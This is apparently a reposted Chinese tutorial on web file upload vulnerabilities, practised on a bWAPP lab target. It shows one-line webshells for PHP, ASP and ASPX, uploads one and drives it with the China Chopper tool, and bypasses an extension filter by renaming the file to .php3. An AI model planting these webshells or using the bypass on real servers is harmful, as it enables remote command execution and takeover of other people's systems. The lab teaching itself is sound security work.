Web安全-文件上傳漏洞

本文轉載自查看原文 2020-07-23 15:12 596 Web-安全

文件上傳漏洞是什么　

關鍵字：繞過

文件上傳是大部分Web應用都具備的功能，例如用戶上傳附件，改頭像，分享圖片等

文件上傳漏洞是在開發者沒有做充足驗證（包括前端、后端）情況下，運行用戶上傳惡意文件，這里上傳的文件可以使木馬、病毒、惡意腳本或者Webshell等

環境搭建（及靶機）

# 第一次啟動
docker pull registry.cn-shanghai.aliyuncs.com/yhskc/bwapp
docker run -d -p 0.0.0.0:80:80 registry.cn-shanghai.aliyuncs.com/yhskc/bwapp

docker container list -a # 查看 container id
docker start xxx # xxx 就是上一步獲得的 container id，運行完這條命令后，訪問響應的網址即可

安裝

點擊here

安裝成功，注冊用戶

登錄

選擇最低級別的，文件上傳，點擊Hack

初級嘗試攻擊

准備一個簡單的一句話木馬

通過POST取得一個值，這個值是hacker里的一個值，將我們的值轉換為PHP代碼

演示上傳，並演示這段代碼的威力。

點擊瀏覽---》選擇shell.php，點擊上傳、

點擊here，可以看到shell.php上傳到images文件夾中

為什么回顯是空的呢？因為這里是POST請求，沒有攜帶任何參數。我們如何控制呢？

我們可以使用兩個PHP函數，來測試我們的Webshell

get_current_user：獲取當前用戶名稱
getcwd：獲取當前路徑地址

可以看到我們獲取當前用戶為www-data。

獲取到當前執行目錄

這里我們使用函數執行，工作效率太低，接來下使用中國菜刀。下載地址https://github.com/raddyfiy/caidao-official-version

打開中國菜刀

點擊空白處添加

添加地址，指定hacker字段，點擊添加，添加后雙擊打開

查看是否能夠執行命令，點擊鏈接右鍵，獲取虛擬終端

不同語言的一句話木馬

asp

<%execute(request("value"))%>

php

<?php @eval($_POST['hacker']); ?>

aspx

<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>

其他

<%eval request("value")%>
<%execute request("value")%>
<%execute(request("value"))%>

初探文件上傳漏洞-->繞過

同樣是file upload 上傳頁，設置為中級，點擊set

我們還是上傳之間的文件，看看是不是還能上傳，點擊瀏覽，選擇之前的shell.php，點擊upload

這里出現上傳文件類型不允許。這時候我們要思考一下，限制文件類型，是限制文件后綴名，我們嘗試一下其他后綴名是否可以上傳。

將shell.php,復制一份叫shell.php3,看是否可以上傳

點擊上傳，可以看到成功上傳

我們上傳的shell.php1 不是常規的php文件，能否執行我們的之句話木馬的指令嗎？我們是curl指令測試一下

其實這里，只能上傳php3后綴的才能正常解析，我們看一下究竟是為什么。我們的靶機是通過apache2容器啟動的，我們來看一下apache2的配置。web-server 不知道后端使用的什么語言，但是對后端語言是具有解析能力的。這是我們看apache2是如何解析php語言的，這樣我們就知道為什么php3可以解析，而其他的不行。